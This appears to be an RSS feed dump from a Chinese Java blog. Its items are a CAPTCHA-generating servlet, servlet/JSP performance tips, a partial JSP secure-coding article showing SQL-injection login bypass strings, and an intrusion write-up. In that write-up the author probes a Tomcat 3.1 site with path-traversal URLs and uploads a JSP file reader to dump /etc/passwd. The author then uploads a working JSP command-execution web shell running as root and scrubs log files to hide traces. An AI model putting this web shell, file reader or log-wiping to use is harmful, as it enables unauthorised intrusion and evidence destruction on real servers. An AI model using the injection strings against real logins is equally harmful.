GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2007/08/09/135382.html</guid><description><![CDATA[<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="FONT-SIZE: 24pt; COLOR: #ff0000"> Java实现随机验证码功能实例<br></span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2007-08-08 来自：lizhe1985&nbsp;&nbsp;</span><br><br><br>现在许多系统的注册、登录或者发布信息模块都添加的随机码功能，就是为了避免自动注册程序或者自动发布程序的使用。 <br><br>验证码实际上就是随机选择一些字符以图片的形式展现在页面上，如果进行提交操作的同时需要将图片上的字符同时提交，如果提交的字符与服务器session保存的不同，则认为提交信息无效。为了避免自动程序分析解析图片，通常会在图片上随机生成一些干扰线或者将字符进行扭曲，增加自动识别的难度。 <br><br>在这里，我们使用servlet来实现随机验证码的实现。 <br><br>package com.servlet; <br><br>import java.awt.Color; <br>import java.awt.Font; <br>import java.awt.Graphics2D; <br>import java.awt.image.BufferedImage; <br>import java.util.Random; <br><br>import javax.imageio.ImageIO; <br>import javax.servlet.ServletException; <br>import javax.servlet.ServletOutputStream; <br>import javax.servlet.http.HttpServlet; <br>import javax.servlet.http.HttpServletRequest; <br>import javax.servlet.http.HttpServletResponse; <br>import javax.servlet.http.HttpSession; <br><br>/**<br>* 生成随机验证码<br>* @author bitiliu<br>*<br>*/<br>public class ValidateCodeServlet extends HttpServlet <br>{<br><br>private static final long serialVersionUID = 1L; <br><br>//验证码图片的宽度。<br>private int width=60; <br>//验证码图片的高度。<br>private int height=20; <br>//验证码字符个数<br>private int codeCount=4; <br><br><br>private int x=0; <br>//字体高度<br>private int fontHeight; <br>private int codeY; <br><br>char[] codeSequence = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',<br>'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',<br>'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; <br><br>/**<br>* 初始化验证图片属性<br>*/<br>public void init() throws ServletException<br>{<br>//从web.xml中获取初始信息<br>//宽度<br>String strWidth=this.getInitParameter("width"); <br>//高度<br>String strHeight=this.getInitParameter("height"); <br>//字符个数<br>String strCodeCount=this.getInitParameter("codeCount"); <br><br>//将配置的信息转换成数值<br>try<br>{<br>if(strWidth!=null &amp;&amp; strWidth.length()!=0)<br>{<br>width=Integer.parseInt(strWidth); <br>}<br>if(strHeight!=null &amp;&amp; strHeight.length()!=0)<br>{<br>height=Integer.parseInt(strHeight); <br>}<br>if(strCodeCount!=null &amp;&amp; strCodeCount.length()!=0)<br>{<br>codeCount=Integer.parseInt(strCodeCount); <br>}<br>}<br>catch(NumberFormatException e)<br>{}<br><br>x=width/(codeCount+1); <br>fontHeight=height-2; <br>codeY=height-4; <br><br>}<br><br>protected void service(HttpServletRequest req, HttpServletResponse resp)<br>throws ServletException, java.io.IOException {<br><br>//定义图像buffer<br>BufferedImage buffImg = new BufferedImage(<br>width, height,BufferedImage.TYPE_INT_RGB); <br>Graphics2D g = buffImg.createGraphics(); <br><br>//创建一个随机数生成器类<br>Random random = new Random(); <br><br>//将图像填充为白色<br>g.setColor(Color.WHITE); <br>g.fillRect(0, 0, width, height); <br><br>//创建字体，字体的大小应该根据图片的高度来定。<br>Font font = new Font("Fixedsys", Font.PLAIN, fontHeight); <br>//设置字体。<br>g.setFont(font); <br><br>//画边框。<br>g.setColor(Color.BLACK); <br>g.drawRect(0, 0, width - 1, height - 1); <br><br>//随机产生160条干扰线，使图象中的认证码不易被其它程序探测到。<br>g.setColor(Color.BLACK); <br>for(int i = 0; i ＜ 160; i++) <br>{<br>int x = random.nextInt(width); <br>int y = random.nextInt(height); <br>int xl = random.nextInt(12); <br>int yl = random.nextInt(12); <br>g.drawLine(x, y, x + xl, y + yl); <br>}<br><br>//randomCode用于保存随机产生的验证码，以便用户登录后进行验证。<br>StringBuffer randomCode = new StringBuffer(); <br>int red = 0, green = 0, blue = 0; <br><br>//随机产生codeCount数字的验证码。<br>for (int i = 0; i ＜ codeCount; i++) {<br>//得到随机产生的验证码数字。<br>String strRand = String.valueOf(codeSequence[random.nextInt(36)]); <br>//产生随机的颜色分量来构造颜色值，这样输出的每位数字的颜色值都将不同。<br>red = random.nextInt(255); <br>green = random.nextInt(255); <br>blue = random.nextInt(255); <br><br>//用随机产生的颜色将验证码绘制到图像中。<br>g.setColor(new Color(red, green, blue)); <br>g.drawString(strRand, (i + 1) * x, codeY); <br><br>//将产生的四个随机数组合在一起。<br>randomCode.append(strRand); <br>}<br>// 将四位数字的验证码保存到Session中。<br>HttpSession session = req.getSession(); <br>session.setAttribute("validateCode", randomCode.toString()); <br><br>// 禁止图像缓存。<br>resp.setHeader("Pragma", "no-cache"); <br>resp.setHeader("Cache-Control", "no-cache"); <br>resp.setDateHeader("Expires", 0); <br><br>resp.setContentType("image/jpeg"); <br><br>//将图像输出到Servlet输出流中。<br>ServletOutputStream sos = resp.getOutputStream(); <br>ImageIO.write(buffImg, "jpeg", sos); <br>sos.close(); <br>}<br><br>} <br><br>需要在web.xml中声明servlet <br><br>＜servlet＞ <br>＜servlet-name＞ValidateCodeServlet＜/servlet-name＞ <br>＜servlet-class＞com.servlet.ValidateCodeServlet＜/servlet-class＞ <br>＜init-param＞ <br>＜param-name＞width＜/param-name＞ <br>＜param-value＞200＜/param-value＞ <br>＜/init-param＞ <br>＜init-param＞ <br>＜param-name＞height＜/param-name＞ <br>＜param-value＞80＜/param-value＞ <br>＜/init-param＞ <br>＜init-param＞ <br>＜param-name＞codeCount＜/param-name＞ <br>＜param-value＞5＜/param-value＞ <br>＜/init-param＞ <br>＜/servlet＞ <br><br>＜servlet-mapping＞ <br>＜servlet-name＞ValidateCodeServlet＜/servlet-name＞ <br>＜url-pattern＞/validateCodeServlet＜/url-pattern＞ <br>＜/servlet-mapping＞ <br><br>用户提交后就可以将用户输入的验证码与session中保存的字符串进行比对，达到验证的效果 
<img src ="http://www.blogjava.net/xixidabao/aggbug/135382.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2007-08-09 00:07 <a href="http://www.blogjava.net/xixidabao/archive/2007/08/09/135382.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>入侵基于JSP+Tomcat的Web网站实录</title><link>http://www.blogjava.net/xixidabao/archive/2006/09/11/69032.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Mon, 11 Sep 2006 12:58:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/09/11/69032.html</guid><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="title" valign="center" align="middle" height="56">
										<b>
												<font color="#ff0000" size="3">入侵基于JSP+Tomcat的Web网站实录<br /><!-- #EndEditable --></font>
										</b>
								</td>
						</tr>
						<tr>
								<td class="formtitle" align="middle" height="40">
										<!-- #BeginEditable "2" -->　<br /><!-- #EndEditable --></td>
						</tr>
				</tbody>
		</table>
		<table height="65" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="content" height="65">
										<!-- #BeginEditable "3" -->
										<table width="760" align="center">
												<tbody>
														<tr>
																<td class="content" align="left" width="760">
																		<p>很偶然的一个机会，浏览到一个网站，页面清新让人感觉很舒服。网站是用JSP开发的，出于个人爱好，我决定测试一下其系统的安全性。 </p>
																		<blockquote>telnet www.target.com 8080<br />GET /CHINANSL HTTP/1.1<br />[Enter]<br />[Enter] </blockquote>
																		<p>返回的结果如下： </p>
																		<blockquote>HTTP/1.0 404 Not Found<br />Date: Sun, 08 Jul 2001 07:49:13 GMT<br />Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2<br />.2.12 i386; java.vendor=Blackdown Java-Linux Team)<br />Content-Language: en<br />Content-Type: text/html<br />Status: 404 <br /><br />＜h1＞Error: 404＜/h1＞<br />＜h2＞Location: /CHINANSL＜/h2＞File Not Found＜br＞/CHINANSL </blockquote>
																		<p>获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞，并且post到bugtrap上去过。 </p>
																		<p>回忆一下，大概是通过“..”技术可以退出WEB目录，于是： </p>
																		<blockquote>http://target:8080/../../../../%00.jsp （不行）<br />http://target:8080/file/index.jsp （不行）<br />http://target:8080/index.JSP （不行）<br />http://target:8080/index.jsp%81 （不行）<br />http://target:8080/index.js%70 （不行）<br />http://target:8080/index.jsp%2581 （不行）<br />http://target:8080/WEB-INF/ （不行） </blockquote>
																		<p>看来安全状况似乎还不错，我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具，可以查看WEB下的目录及文件，并且可以添加context。于是尝试： </p>
																		<p>http://target:8080/admin/ </p>
																		<p>管理员果然没有删除或禁止访问这个目录，从安全的角度说，这点应该算是一个比较重要的失误。 </p>
																		<p>接着，点击“VIEW ALL CONTEXT”按钮，列出了WEB目录下的一些文件和目录的名称，很快发现了一个上传文件的组件，通过这个组件将一个JSP文件上传到对方的WEB目录里： </p>
																		<blockquote>＜%@ page import="java.io.*" %＞<br />＜%<br />String file = request.getParameter("file");<br />String str = "";<br />FileInputStream fis = null;<br />DataInputStream dis = null;<br />try{<br />fis = new FileInputStream(file);<br />dis = new DataInputStream(fis);<br />while(true){<br />try{<br />str = dis.readLine();<br />}catch(Exception e){}<br />if(str == null)break;<br />out.print(str+"＜br＞");<br />}<br />}catch(IOException e){}<br />%＞ </blockquote>
																		<p>然后执行： </p>
																		<p>http://target:8080/upload/test.jsp?file=/etc/passwd </p>
																		<p>密码出来了。接下来的过程是猜测密码，没有成功。不过，现在相当于有了一个SHELL，猜不出密码可以先把IE当作SHELL环境。 </p>
																		<p>再写一个JSP文件： </p>
																		<blockquote>＜%@ page import="java.io.*" %＞<br />＜%<br />try {<br />String cmd = request.getParameter("cmd");<br />Process child = Runtime.getRuntime().exec(cmd);<br />InputStream in = child.getInputStream();<br />int c;<br />while ((c = in.read()) != -1) {<br />out.print((char)c);<br />}<br />in.close();<br />try {<br />child.waitFor();<br />} catch (InterruptedException e) {<br />e.printStackTrace();<br />}<br />} catch (IOException e) {<br />System.err.println(e);<br />}<br />%＞ </blockquote>
																		<p>然后把这个JSP再通过upload上传，有SHELL了。 </p>
																		<p>http://target:8080/upload/cmd.jsp?cmd=ls+-la+/<br />（详细结果这里就不列出来了） </p>
																		<p>怎么获得root权限呢？经过一番搜索发现系统安装了MySQL，并且从JSP的源代码中得到了MySQL的密码，执行： </p>
																		<p>sqld"＞http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld </p>
																		<p>显示： </p>
																		<p>root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql </p>
																		<p>系统是以root身份运行的MySQL。这时我思考了一下，既然知道了MySQL的密码，那就可以写一个SHELL程序，让它创建一个表，然后将我的数据放到表中，再使用“select ... into outfile;”的办法在系统上创建一个文件，让用户在执行su的时候，运行我的程序。（还记得apache.org有一次被入侵吗？黑客就采用的这种办法）。 </p>
																		<p>之后就比较简单了，上传bindshell之类的程序，运行、获得nobody的权限，使用su root时帮忙创建的setuid shell让自己成为root。 </p>
																		<p>但是，接下来已经实际操作，结果令人颇感意外： </p>
																		<p>http://target:8080/upload/cmd.jsp?cmd=id </p>
																		<p>显示： </p>
																		<p>uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) </p>
																		<p>原来这个WEB SHELL本来就是ROOT！管理员的安全设置工作到底怎么做的？ </p>
																		<p>http://target:8080/upload/cmd.jsp?cmd=ps+aux</p>
																		<p>果然是root身份运行的（不列出来了） </p>
																		<p>剩下的事情： </p>
																		<p>1、删除我的telnet记录。 </p>
																		<p>2、删除http的日志。 </p>
																		<p>清除日志我使用的办法是：cat xxx |grep -V "IP" ＞＞temp然后在把temp覆盖那些被我修改过的日志文件。 </p>
																		<p>说明一点，我没有更换该网站的页面，因为我只是个网络安全爱好者。所以，发封邮件告诉system admin吧！当然，我顺便在信中提到，如果需要安盟信息科技为他提供安全服务的话，我们会非常的高兴！ </p>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/xixidabao/aggbug/69032.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-09-11 20:58 <a href="http://www.blogjava.net/xixidabao/archive/2006/09/11/69032.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Servlet、Jsp性能优化</title><link>http://www.blogjava.net/xixidabao/archive/2006/09/11/69027.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Mon, 11 Sep 2006 12:53:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/09/11/69027.html</guid><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="title" valign="center" align="middle" height="56">
										<b>
												<font color="#ff0000" size="3">Servlet、Jsp性能优化<!-- #EndEditable --></font>
										</b>
								</td>
						</tr>
						<tr>
								<td class="formtitle" align="middle" height="40">
										<!-- #BeginEditable "2" -->作者：Rahul Chaudhary ，gagaghost<!-- #EndEditable --></td>
						</tr>
				</tbody>
		</table>
		<table height="65" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="content" height="65">
										<!-- #BeginEditable "3" -->
										<table width="85%" align="center" border="0">
												<tbody>
														<tr>
																<td>  
<p><span class="myp111"><font id="zoom">你的J2EE应用是不是运行的很慢？它们能不能承受住不断上升的访问量？本文讲述了开发高性能、高弹性的JSP页面和Servlet的性能优化技术。其意思是建立尽可能快的并能适应数量增长的用户及其请求。在本文中，我将带领你学习已经实践和得到证实的性能调整技术，它将大大地提高你的servlet和jsp页面的性能，进而提升J2EE的性能。这些技术的部分用于开发阶段，例如，设计和编码阶段。另一部分技术则与配置相关。<br /><br /><b>技术1：在HttpServlet init()方法中缓存数据</b><br /><br />服务器会在创建servlet实例之后和servlet处理任何请求之前调用servlet的init()方法。该方法在servlet的生命周期中仅调用一次。为了提高性能，在init()中缓存静态数据或完成要在初始化期间完成的代价昂贵的操作。例如，一个最佳实践是使用实现了javax.sql.DataSource接口的JDBC连接池。DataSource从JNDI树中获得。每调用一次SQL就要使用JNDI查找DataSource是非常昂贵的工作，而且严重影响了应用的性能。Servlet的init()方法可以用于获取DataSource并缓存它以便之后的重用：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>
public class ControllerServlet extends HttpServlet
{
   private javax.sql.DataSource testDS = null;

   public void init(ServletConfig config) throws ServletException
   {
      super.init(config);
      Context ctx  = null;
      try
      {
         ctx = new InitialContext();
         testDS = (javax.sql.DataSource)ctx.lookup("jdbc/testDS");
      }
      catch(NamingException ne)
      {
         ne.printStackTrace();              
       }
       catch(Exception e)
       {
          e.printStackTrace();
       }
   }

   public javax.sql.DataSource getTestDS()
      {
         return testDS;
      }
   ...
   ...
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><b>技术2：禁用servlet和Jsp的自动装载功能</b><br /><br />当每次修改了Servlet/JSP之后，你将不得不重新启动服务器。由于自动装载功能减少开发时间，该功能被认为在开发阶段是非常有用的。但是，它在运行阶段是非常昂贵的；servlet/JSP由于不必要的装载，增加类装载器的负担而造成很差的性能。同样，这会使你的应用由于已被某种类装载器装载的类不能和当前类装载器装载的类不能相互协作而出现奇怪的冲突现象。因此，在运行环境中为了得到更好的性能，关闭servlet/JSP的自动装载功能。<br /><br /><b>技术3：控制HttpSession</b><br /><br />许多应用需要一系列客户端的请求，因此他们能互相相关联。由于HTTP协议是无状态的，所以基于Web的应用需要负责维护这样一个叫做session的状态。为了支持必须维护状态的应用，Java servlet技术提供了管理session和允许多种机制实现session的API。HttpSession对象扮演了session，但是使用它需要成本。无论何时HttpSession被使用和重写，它都由servlet读取。你可以通过使用下面的技术来提高性能：<br /></font></span></p><ul><span class="myp111"><font id="zoom"><li>在JSP页面中不要创建默认的HttpSession:默认情况下，JSP页面创建HttpSession。如果你在JSP页面中不用HttpSession，为了节省性能开销，使用下边的页面指令可以避免自动创建HttpSession对象：<br /><![CDATA[<%@ page session="false"%>]]&gt;<BR>
<LI>不要将大的对象图存储在HttpSession中：如果你将数据当作一个大的对象图存储在HttpSession中，应用服务器每次将不得不处理整个HttpSession对象。这将迫使Java序列化和增加计算开销。由于序列化的开销，随着存储在HttpSession对象中数据对象的增大，系统的吞吐量将会下降。<BR>
<LI>用完后释放HttpSession：当不在使用HttpSession时，使用HttpSession.invalidate()方法使sesion失效。<BR>
<LI>设置超时值：一个servlet引擎有一个默认的超时值。如果你不删除session或者一直把session用到它超时的时候，servlet引擎将把session从内存中删除。由于在内存和垃圾收集上的开销，session的超时值越大，它对系统弹性和性能的影响也越大。试着将session的超时值设置的尽可能低。<BR><BR><B>技术4：使用gzip压缩</B><BR><BR>压缩是删除冗余信息的作法，用尽可能小的空间描述你的信息。使用gzip（GNU zip）压缩文档能有效地减少下载HTML文件的时间。你的信息量越小，它们被送出的速度越快。因此，如果你压缩了由你web应用产生的内容，它到达用户并显示在用户屏幕上的速度就越快。不是任何浏览器都支持gzip压缩的，但检查一个浏览器是否支持它并发送gzip压缩内容到浏览器是很容易的事情。下边的代码段说明了如何发送压缩的内容。<BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>
public void doGet(HttpServletRequest request, HttpServletResponse response)
          throws IOException, ServletException
{
          
   OutputStream out = null

   // Check the Accepting-Encoding header from the HTTP request.
   // If the header includes gzip, choose GZIP.
   // If the header includes compress, choose ZIP.
   // Otherwise choose no compression.

   String encoding = request.getHeader("Accept-Encoding");    
      
   if (encoding != null &amp;&amp; encoding.indexOf("gzip") != -1)
   {
       response.setHeader("Content-Encoding" , "gzip");
       out = new GZIPOutputStream(response.getOutputStream());
   }
   else if (encoding != null &amp;&amp; encoding.indexOf("compress") != -1)
   {
       response.setHeader("Content-Encoding" , "compress");
       out = new ZIPOutputStream(response.getOutputStream());
   }
   else
   {
       out = response.getOutputStream();

   }
   ...
   ...</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR><B>}<BR><BR>技术5：不要使用SingleThreadModel</B><BR><BR>SingleThreadModel保证servlet一次仅处理一个请求。如果一个servlet实现了这个接口，servlet引擎将为每个新的请求创建一个单独的servlet实例，这将引起大量的系统开销。如果你需要解决线程安全问题，请使用其他的办法替代这个接口。SingleThreadModel在Servlet 2.4中是不再提倡使用。<BR><BR><B>技术6：使用线程池</B><BR><BR>servlet引擎为每个请求创建一个单独的线程，将该线程指派给service()方法，然后在service()方法执行完后删除该线程。默认情况下，servlet引擎可能为每个请求创建一个新的线程。由于创建和删除线程的开销是很昂贵的，于是这种默认行为降低了系统的性能。我们可以使用线程池来提高性能。根据预期的并发用户数量，配置一个线程池，设置好线程池里的线程数量的最小和最大值以及增长的最小和最大值。起初，servlet引擎创建一个线程数与配置中的最小线程数量相等的线程池。然后servlet引擎把池中的一个线程指派给一个请求而不是每次都创建新的线程，完成操作之后，servlet引擎把线程放回到线程池中。使用线程池，性能可以显著地提高。如果需要，根据线程的最大数和增长数，可以创建更多的线程。<BR><BR><B>技术7：选择正确的包括机制</B><BR><BR>在JSP页面中，有两中方式可以包括文件：包括指令(&lt;%@ include file="test.jsp" %&gt; )和包括动作(<?XML:NAMESPACE PREFIX = JSP /><jsp:include page="test.jsp" flush="true"></jsp:include> )。包括指令在编译阶段包括一个指定文件的内容；例如，当一个页面编译成一个servlet时。包括动作是指在请求阶段包括文件内容；例如，当一个用户请求一个页面时。包括指令要比包括动作快些。因此除非被包括的文件经常变动，否则使用包括指令将会获得更好的性能。<BR><BR><B>技术8：在useBean动作中使用合适的范围</B><BR><BR>使用JSP页面最强大方式之一是和JavaBean组件协同工作。JavaBean使用<jsp:usebean> 标签可以嵌入到JSP页面中。语法如下：<BR><BR><CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>
&lt;jsp:useBean id="name" scope="page|request|session|application" class=
  "package.className" type="typeName"&gt;
&lt;/jsp:useBean&gt;</CCID_CODE></PRE></TD></TR></TBODY></TABLE></CCID_NOBR><BR><BR>scope属性说明了bean的可见范围。scope属性的默认值是page。你应该根据你应用的需求选择正确的范围，否则它将影响应用的性能。<BR><BR>例如，如果你需要一个专用于某些请求的对象，但是你把范围设置成了session，那么那个对象将在请求结束之后还保留在内存中。它将一直保留在内存中除非你明确地把它从内存中删除、使session无效或session超时。如果你没有选择正确的范围属性，由于内存和垃圾收集的开销将会影响性能。因此为对象设置合适的范围并在用完它们之后立即删除。<BR><BR>杂项技术<BR>
<LI>避免字符串连接：由于String对象是不可变对象，使用“＋”操作符将会导致创建大量的零时对象。你使用的“＋”越多，产出的零时对象就越多，这将影响性能。当你需要连接字符串时，使用StringBuffer替代“＋”操作。<BR>
<LI>避免使用System.out.println：System.out.println同步处理磁盘输入/输出，这大大地降低了系统吞吐量。尽可能地避免使用System.out.println。尽管有很多成熟的调试工具可以用，但有时System.out.println为了跟踪、或调试的情况下依然很有用。你应该配置System.out.println仅在错误和调试阶段打开它。使用final Boolean型的变量，当配置成false时，在编译阶段完成优化检查和执行跟踪输出。<BR>
<LI>ServletOutputStream 与 PrintWriter比较：由于字符输出流和把数据编码成字节，使用PrintWriter引入了小的性能开销。因此，PrintWriter应该用在所有的字符集都正确地转换做完之后。另一方面，当你知道你的servlet仅返回二进制数据，使用ServletOutputStream，因为servlet容器不编码二进制数据，这样你就能消除字符集转换开销。<BR><BR><B>总结</B><BR><BR>本文的目的是展示给你一些实践的和已经证实的用于提高servlet和JSP性能的性能优化技术，这些将提高你的J2EE应用的整体性能。下一步应该观察其他相关技术的性能调整，如EJB、JMS和JDBC等。<BR><BR><B>作者Email:</B>gagaghost@yahoo.com.cn</jsp:usebean></FONT></SPAN></LI></UL></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></html>]]&gt;</li></font></span></ul></td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/xixidabao/aggbug/69027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-09-11 20:53 <a href="http://www.blogjava.net/xixidabao/archive/2006/09/11/69027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSP安全编程实例浅析(中级)2</title><link>http://www.blogjava.net/xixidabao/archive/2006/09/11/69025.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Mon, 11 Sep 2006 12:47:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/09/11/69025.html</guid><description><![CDATA[<table cellSpacing=0 cellPadding=0 width=760 align=center border=0>
    <tbody>
        <tr>
            <td class=title vAlign=center align=middle height=56><strong><font color=#ff0000 size=3>JSP安全编程实例浅析(中级)2<!-- #EndEditable --></font> </strong></td>
        </tr>
        <tr>
            <td class=formtitle align=middle height=40><!-- #BeginEditable "2" -->作者：Stone_Star<!-- #EndEditable --></td>
        </tr>
    </tbody>
</table>
<table height=65 cellSpacing=0 cellPadding=0 width=760 align=center border=0>
    <tbody>
        <tr>
            <td class=content height=65><!-- #BeginEditable "3" -->
            <table width="85%" align=center border=0>
                <tbody>
                    <tr>
                        <td>&nbsp;
                        <p><strong>四、时刻牢记SQL注入</strong><br><br>一般的编程书籍在教初学者的时候都不注意让他们从入门时就培养安全编程的习惯。著名的《JSP编程思想与实践》就是这样向初学者示范编写带数据库的登录系统的（数据库为MySQL）：<br><br><ccid_nobr>
                        <table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
                            <tbody>
                                <tr>
                                    <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
                                    <pre><ccid_code>
                                    Statement stmt = conn.createStatement();
                                    String checkUser = "select * from login where username = '
                                    "+ userName +"'and userpassword = '"+ userPassword +"'";
                                    ResultSet rs = stmt.executeQuery(checkUser);
                                    if(rs.next())
                                    response.sendRedirect("SuccessLogin.jsp");
                                    else
                                    response.sendRedirect("FailureLogin.jsp");</ccid_code></pre>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        </ccid_nobr><br><br>这样使得尽信书的人长期使用这样先天&#8220;带洞&#8221;的登录代码。如果数据库里存在一个名叫&#8220;jack&#8221;的用户，那么在不知道密码的情况下至少有下面几种方法可以登录：<br>用户名：jack<br>密码：' or 'a'='a<br>用户名：jack<br>密码：' or 1=1/*<br>用户名：jack' or 1=1/*<br>密码：（任意）<br><br>lybbs（凌云论坛）ver 2.9.Server在LogInOut.java中是这样对登录提交的数据进行检查的：<br><br><ccid_nobr>
                        <table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
                            <tbody>
                                <tr>
                                    <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
                                    <pre><ccid_code>
                                    if(s.equals("") ││ s1.equals(""))
                                    throw new UserException("用户名或密码不能空。");
                                    if(s.indexOf("'") != -1 ││ s.indexOf("\"") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf("\\") != -1)
                                    throw new UserException("用户名不能包括 ' \" \\ , 等非法字符。");
                                    if(s1.indexOf("'") != -1 ││ s1.indexOf("\"") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf("\\") != -1)
                                    throw new UserException("密码不能包括 ' \" \\ * 等非法字符。");
                                    if(s.startsWith("　") ││ s1.startsWith("　"))
                                    throw new UserException("用户名或密码中不能用空格。");</ccid_code></pre>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        </ccid_nobr><br><br>但是我不清楚为什么他只对密码而不对用户名过滤星号。另外，正斜杠似乎也应该被列到&#8220;黑名单&#8221;中。我还是认为用正则表达式只允许输入指定范围内的字符来得干脆。<br><br>这里要提醒一句：不要以为可以凭借某些数据库系统天生的&#8220;安全性&#8221;就可以有效地抵御所有的攻击。pinkeyes的那篇《PHP注入实例》就给那些依赖PHP的配置文件中的&#8220;magic_quotes_gpc = On&#8221;的人上了一课。<br><br><strong>五、String对象带来的隐患</strong><br><br>Java平台的确使安全编程更加方便了。Java中无指针，这意味着 Java 程序不再像C那样能对地址空间中的任意内存位置寻址了。在JSP文件被编译成 .class 文件时会被检查安全性问题，例如当访问超出数组大小的数组元素的尝试将被拒绝，这在很大程度上避免了缓冲区溢出攻击。但是，String对象却会给我们带来一些安全上的隐患。如果密码是存储在 Java String 对象中的，则直到对它进行垃圾收集或进程终止之前，密码会一直驻留在内存中。即使进行了垃圾收集，它仍会存在于空闲内存堆中，直到重用该内存空间为止。密码 String 在内存中驻留得越久，遭到窃听的危险性就越大。更糟的是，如果实际内存减少，则操作系统会将这个密码 String 换页调度到磁盘的交换空间，因此容易遭受磁盘块窃听攻击。为了将这种泄密的可能性降至最低（但不是消除），您应该将密码存储在 char 数组中，并在使用后对其置零（String 